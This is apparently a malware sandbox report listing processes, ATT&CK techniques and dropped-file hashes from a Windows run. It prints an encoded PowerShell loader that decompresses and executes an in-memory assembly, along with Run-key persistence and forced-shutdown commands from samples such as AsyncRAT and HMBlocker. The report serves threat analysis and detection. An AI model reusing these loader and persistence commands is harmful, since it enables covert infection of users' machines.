    "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" -enc JABWAGwAbgBmAHIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoARwBlAHQAQwB1AHIAcgBlAG4AdABQAHIAbwBjAGUAcwBzACgAKQAuAE0AYQBpAG4ATQBvAGQAdQBsAGUALgBGAGkAbABlAE4AYQBtAGUALgBSAGUAcABsAGEAYwBlACgAJwAuAGUAeABlACcALAAnACcAKQA7ACQAWQBiAGsAbwBhACAAPQAgAGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAVgBsAG4AZgByACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEwAYQBzAHQAIAAxADsAIAAkAEYAZABqAGcAagAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABZAGIAawBvAGEALgBSAGUAcABsAGEAYwBlACgAJwBSAEUATQAgACcALAAgACcAJwApAC4AUgBlAHAAbABhAGMAZQAoACcAQAAnACwAIAAnAEEAJwApACkAOwAkAEEAcABnAGoAcABqAGoAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAEYAZABqAGcAagAgACkAOwAkAFcAdQB3AHUAaAB1AGMAaAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABBAHAAZwBqAHAAagBqACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABZAGcAbwB5AGkAdgBlAG4AbgBvAC4AQwBvAHAAeQBUAG8AKAAgACQAVwB1AHcAdQBoAHUAYwBoACAAKQA7ACQAWQBnAG8AeQBpAHYAZQBuAG4AbwAuAEMAbABvAHMAZQAoACkAOwAkAEEAcABnAGoAcABqAGoALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABGAGQAagBnAGoAIAA9ACAAJABXAHUAdwB1AGgAdQBjAGgALgBUAG8AQQByAHIAYQB5ACgAKQA7AFsAQQByAHIAYQB5AF0AOgA6AFIAZQB2AGUAcgBzAGUAKAAkAEYAZABqAGcAagApADsAIAAkAEMAaQB4AHoAbwBmACAAPQAgAFsAUwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARgBkAGoAZwBqACkAOwAgACQATABqAGoAdwBlAHIAZgBuAGcAIAA9ACAAJABDAGkAeAB6AG8AZgAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgAFsAUwB5AHMAdABlAG0ALgBEAGUAbABlAGcAYQB0AGUAXQA6ADoAQwByAGUAYQB0AGUARABlAGwAZQBnAGEAdABlACgAWwBBAGMAdABpAG8AbgBdACwAIAAkAEwAagBqAHcAZQByAGYAbgBnAC4ARABlAGMAbABhAHIAaQBuAGcAVAB5AHAAZQAsACAAJABMAGoAagB3AGUAcgBmAG4AZwAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2080
  - - C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe
      "C:\Users\Admin\AppData\Local\Temp\AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
  2⤵
  - Enumerates system info in registry
  - NTFS ADS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffefd3d46f8,0x7ffefd3d4708,0x7ffefd3d4718
    3⤵
    PID:1336
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
    3⤵
    PID:4516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2732 /prefetch:8
    3⤵
    PID:1632
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
    3⤵
    PID:2852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
    3⤵
    PID:380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4600 /prefetch:1
    3⤵
    PID:5848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4940 /prefetch:1
    3⤵
    PID:5888
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5176 /prefetch:1
    3⤵
    PID:4012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2272 /prefetch:1
    3⤵
    PID:5940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5072 /prefetch:1
    3⤵
    PID:5156
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4716 /prefetch:1
    3⤵
    PID:5876
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4960 /prefetch:8
    3⤵
    PID:5332
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4960 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5616 /prefetch:8
    3⤵
    PID:5384
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
    3⤵
    PID:5840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6168 /prefetch:8
    3⤵
    PID:6104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
    3⤵
    PID:5336
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6588 /prefetch:8
    3⤵
    PID:5668
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6024 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5812
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6528 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:452
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2988 /prefetch:1
    3⤵
    PID:540
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6336 /prefetch:1
    3⤵
    PID:3196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5904 /prefetch:1
    3⤵
    PID:3160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4716 /prefetch:1
    3⤵
    PID:4620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1728 /prefetch:1
    3⤵
    PID:5272
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6416 /prefetch:8
    3⤵
    PID:5552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5204 /prefetch:1
    3⤵
    PID:5416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6396 /prefetch:1
    3⤵
    PID:1616
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=1796 /prefetch:8
    3⤵
    PID:5288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5788 /prefetch:8
    3⤵
    PID:3780
- - C:\Users\Admin\Downloads\HMBlocker.exe
    "C:\Users\Admin\Downloads\HMBlocker.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5856
  - - C:\Windows\SysWOW64\shutdown.exe
      "C:\Windows\System32\shutdown.exe" /r /t 6 /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2140
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 2503326475 /t REG_SZ /d "C:\Users\Admin\2503326475\2503326475.exe" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2016
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 2503326475 /t REG_SZ /d "C:\Users\Admin\2503326475\2503326475.exe" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:3196
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v 2503326475_del /t REG_SZ /d "cmd /c del \"C:\Users\Admin\Downloads\HMBlocker.exe\"" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3440
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce /v 2503326475_del /t REG_SZ /d "cmd /c del \"C:\Users\Admin\Downloads\HMBlocker.exe\"" /f
        5⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:5440
- - C:\Users\Admin\Downloads\HMBlocker.exe
    "C:\Users\Admin\Downloads\HMBlocker.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5428
  - - C:\Windows\SysWOW64\shutdown.exe
      "C:\Windows\System32\shutdown.exe" /r /t 6 /f
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3532
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2040,6875400750631599313,4353071466032249902,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5348 /prefetch:8
    3⤵
    PID:5560
- - C:\Users\Admin\Downloads\BlueScreen.exe
    "C:\Users\Admin\Downloads\BlueScreen.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6136
- - C:\Users\Admin\Downloads\BlueScreen.exe
    "C:\Users\Admin\Downloads\BlueScreen.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5476
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  PID:5976
- C:\Users\Admin\Downloads\SpySheriff.exe
  "C:\Users\Admin\Downloads\SpySheriff.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5948
- C:\Users\Admin\Downloads\AdwereCleaner.exe
  "C:\Users\Admin\Downloads\AdwereCleaner.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5780
- - C:\Users\Admin\AppData\Local\6AdwCleaner.exe
    "C:\Users\Admin\AppData\Local\6AdwCleaner.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Modifies system certificate store
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1948

C:\Windows\system32\cmd.exe
cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe" /Y
1⤵
- Process spawned unexpected child process
PID:380

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5392

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:6056

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5408

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa38cd055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1F356F4D07FE8C483E769E4586569404

Filesize
77KB

MD5
a030e0840e44c97f452b43d538a90586

SHA1
1490e7b46341da1e14769a6c0048f9506541376b

SHA256
f4d90cb27ca9e2fe5fff09d89ca8bc529d7b0e508554d4997672fc6845b03d3e

SHA512
785362609370992645279dd01e8d6e3f873b0e9331af805769c366a794b2ef3f5bb860bb7303634e4002cb95fe0f91cd7d3435d327e2463d99c6ef83d9cb3624

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5457A8CE4B2A7499F8299A013B6E1C7C_D734EC3DD00546F46D368325396086B0

Filesize
5B

MD5
5bfa51f3a417b98e7443eca90fc94703

SHA1
8c015d80b8a23f780bdd215dc842b0f5551f63bd

SHA256
bebe2853a3485d1c2e5c5be4249183e0ddaff9f87de71652371700a89d937128

SHA512
4cd03686254bb28754cbaa635ae1264723e2be80ce1dd0f78d1ab7aee72232f5b285f79e488e9c5c49ff343015bd07bb8433d6cee08ae3cea8c317303e3ac399

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B90B117906B8A74C79D1BC450C2B94B1_A54F26A8A41DE52C237D54D67F12793F

Filesize
1KB

MD5
25f0ad7c156c8bd8ec6eb7b3fde6675b

SHA1
a9aae743f0fa03f1377ab054d5d291fd7fb746ac

SHA256
7404c42eb44e3fd5640e575f88453de660bb86bb711ef894cdc74e7f7d442d55

SHA512
bef93a45b58c5ea47ed238a45b12aa2f0f0aeb1b59ffea84e6a628f6860607c1cc4fe26a15f25a5d8e0a6d3e68d1d33390709018377e94e807d17909bd70435c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F4D9C889B7AEBCF4E1A2DAABC5C3628A_77D782D611E65A2A81EA974847CB0C84

Filesize
509B

MD5
699f20106191ad359378e65f0d443722

SHA1
ef5ed39a309fc3f1b3ed948a7c65928ed782ff00

SHA256
f0d2b2f77dbc43d69c6274059188e79a87493a7d158e3d94ac3a03346a2e54b4

SHA512
1f396e1e97039ec33ea88f95a6eb7740b900a77b92496d45854176013fa97aeb22af14c96cecad7bd70c4b57da14063c2e0eba18fc606e2903443008944cf727

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1F356F4D07FE8C483E769E4586569404

Filesize
300B

MD5
cdc9dc1fe7f1aeee4c62210bca9efee9

SHA1
7482afd728e02cc91c7cf2c946eb30fd90fd443e

SHA256
48553b034c20258df1882d22743bf6d10f3fc67350d97e93e07301952d6d4eb6

SHA512
bb3b5e6da151c46a792900291aec56141c5523255daf9cf53db856649debb09964103a41eed319346541ba4b27a23919b86a423bae3a2a4c2f2aaba5e11afff5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5457A8CE4B2A7499F8299A013B6E1C7C_D734EC3DD00546F46D368325396086B0

Filesize
398B

MD5
66d1f2f64f6a592b858a1288bdffb9d7

SHA1
cc9b2a6eddf58053446e65f8d6abb27b00bad976

SHA256
b26a16c752b933367f288442d8100d568d2dee7a0755c6825d6d24a521fc5b8c

SHA512
e1949a1b8f136cabec71392138a7bfe74150db52d3810e9d6b0d18b0f68c2278d42b33789c37192bf4198157116034125d1162e1ba09fe3bf6e111dcae31e9a7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B90B117906B8A74C79D1BC450C2B94B1_A54F26A8A41DE52C237D54D67F12793F

Filesize
500B

MD5
7a84b79c7c3ebc885bb0dff8ecda4594

SHA1
dbab398b9a1b258e05fcf856f46538899e82fd6b

SHA256
f95263c522ec20203031e8b53499e19bd90f6925afa66a043095376fc671a5af

SHA512
959faa683ae9e52a40c4b4edad45933530acc0fe876a9a2c17b6e3832e1c058fdd426bb3124f42b7cade1adc972fc5c0acea249a770f0014ec8c61f133749a81

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F4D9C889B7AEBCF4E1A2DAABC5C3628A_77D782D611E65A2A81EA974847CB0C84

Filesize
486B

MD5
fe6560aab2e678e466a173fbbd67e05f

SHA1
60521abc9b80ebe736f705ba3318594893b559c1

SHA256
c66d037a539e180e9729e20192723b0eeaf586d180ac0e923f59fc22f6ea60c3

SHA512
41fd38cba13fedd6a8815fb71bbf01c33a04d480e60d01848edf502a93a25b1ffb7ac8d22d9f1df3c238e8a4d999fbc1559bfb7064d268768727c39eb98ba7ac

Download Submit
C:\Users\Admin\AppData\Local\6AdwCleaner.exe

Filesize
168KB

MD5
87e4959fefec297ebbf42de79b5c88f6

SHA1
eba50d6b266b527025cd624003799bdda9a6bc86

SHA256
